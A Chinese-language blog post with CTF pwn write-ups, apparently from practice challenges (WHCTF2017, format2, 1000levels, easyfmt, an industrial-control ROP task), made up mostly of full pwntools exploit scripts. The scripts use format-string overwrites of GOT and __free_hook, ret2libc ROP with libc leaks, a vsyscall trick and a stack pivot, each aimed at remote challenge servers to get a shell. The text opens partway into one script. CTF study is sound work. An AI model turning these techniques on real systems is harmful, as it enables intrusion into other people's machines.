ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled



def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)
#start here
sla("Input Your Code:\n", "1")
payload = "a"*0x3e8 + 'aa%398$p'
sla("Welcome To WHCTF2017:\n", payload)
ru("%398$p\n")
addr = int(rl(), 16)
lg("addr", addr)
from LibcSearcher import *
obj = LibcSearcher("__libc_start_main_ret", addr)
libc_base = addr - obj.dump("__libc_start_main_ret")
sys_addr = libc_base + obj.dump("system")
free_hook = libc_base + obj.dump("__free_hook")
# libc.address = addr - 240 - libc.symbols['__libc_start_main']
# free_hook = libc.symbols['__free_hook']
# sys_addr = libc.symbols['system']
# lg("free_hook", free_hook)
# lg("system", sys_addr)

p_system = p64(sys_addr)
for i in xrange(8):
sla("Code:\n", "1")
payload = "a"*0x3e8
payload += "aa%{}c%{}$hhn".format(0x100-0xfe+ord(p_system[i]), 134).ljust(0x10,'a')
payload += p64(free_hook+i)
print(payload)
sla("Welcome To WHCTF2017:\n", payload)
ga()
sl("2")
sl("/bin/sh\x00")



ia()
if __name__ == '__main__':
exp(host,)

1000levels

没环境,懒得搞了,必须得老版本环境调试,以前做过类似的,不做这种题了
直接google exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
#p = process('./100levels')
p = remote('111.198.29.45', 59009)
libc = ELF('./libc.so')

one_gadget = 0x4526a
system_offset = libc.symbols['system']
vsyscall_addr = 0xffffffffff600000

p.sendlineafter('Choice:','2')
p.sendlineafter('Choice:','1')
p.sendlineafter('levels?','-1')
p.sendlineafter('',str(one_gadget-system_offset))
#question
for i in range(99):
p.recvuntil("Question: ")
v9 = int(p.recvuntil(" ")[:-1])
p.recvuntil("* ")
v10 = int(p.recvuntil(" ")[:-1])
p.sendlineafter("Answer:", str(v9 * v10))
payload = 'A' * (0x30+8)+p64(vsyscall_addr) *3
p.sendafter("Answer:",payload)
p.interactive()

format2

我看到了溢出,溢出到ebp,没想到栈迁移走,基础不扎实啊。。。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45'
port = 38101
context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = './format2'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)



def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
back_door = 0x08049284
input = 0x0811EB40

payload = p32(back_door)
payload = payload.ljust(0x8, 'a')
payload += p32(input-4)
import base64
payload = base64.b64encode(payload)
sla("Authenticate : ", payload)

ia()
if __name__ == '__main__':
exp(host,)

HMI流水灯运行

这道弱智工控题目不说了。。。recv都得recv半年,毫无技术含量的rop

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45'
port = 55006
context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=120x54--10+0','--hide-menubar', '-x','sh','-c',]
exe = './format'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)



def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
offset = 140
gee = 0x08048888
payload = flat([
'a'*offset,
elf.plt['write'],
gee,
1,
elf.got['__libc_start_main'],
4
])
ru("\n\n")
sl(payload)
while 1:
temp = io.recvline()
print temp[0]
if temp[0] in '.*IW\x1b':
pass
else:
print("recv" + temp)
#print_addr = u32(temp[0:4])
print("get")
break
addr = u32(r(4))
lg("addr", addr)
from LibcSearcher import *
obj = LibcSearcher("__libc_start_main", addr)
libc_base = addr - obj.dump('__libc_start_main')
sys_addr = libc_base + obj.dump('system')
bin_sh = libc_base + obj.dump('str_bin_sh')

payload = flat([
'a'*offset,
sys_addr,
gee,
bin_sh
])
sl(payload)
sl("cat *flag*")
print(rp())
if __name__ == '__main__':
exp(host,)

interpreter-200

变态题目,exp都不想抄,算了

house of grey

easyfmt

拿来尝试pwntools的好题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
link = '159.138.137.79:57797'
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal = ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './easyfmt'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
io = process(exe)
else:
io = remote(host,port)

s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline().strip()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
try:
import subprocess
except Exception as e:
print("subprocess not install")
exit(0)
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)


def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

from ctypes import cdll
LoadDll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
LoadDll.srand(LoadDll.time(0))
sl(LoadDll.rand()%5)
ru("slogan: ")
# cause loop
payload = fmtstr_payload(
8,
{0x0000000000601060:0x0000000000400982},
0,
write_size='byte'
)
sl(payload)
# leak libc
ru("slogan: \x00")
#ga()
sl("%10$sBBB" + p64(elf.got['__libc_start_main']))
leak_addr = uu64(r(6)) #- 0xeb741
lg("libc", leak_addr)
ru("slogan: \x00")
try:
from LibcSearcher import *
except Exception as e:
print("LibcSearcher not install")
exit(0)
obj = LibcSearcher("__libc_start_main",leak_addr)
libc_base = leak_addr - obj.dump("__libc_start_main")
system_addr = libc_base + obj.dump("system")
bin_sh_addr = libc_base + obj.dump("str_bin_sh")
payload = fmtstr_payload(
10,
{elf.got['printf']: system_addr},
0,
write_size='byte'
)
print(payload)
sl(payload)
ia()

if __name__ == '__main__':
while True:
try:
exp(host,)
break
except Exception as e:
print(e)
io.close()
io = remote(host,port)

全用pwntools打就完事了…那个伪随机绕不过,爆破吧,我的libc版本没下下来,本地可以绕过

总结

暂时告一段落,发觉刷了好长一段时间,都全是栈题,堆题没有几个。。。

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/c3e0c46b/
版权声明:转载请注明出处!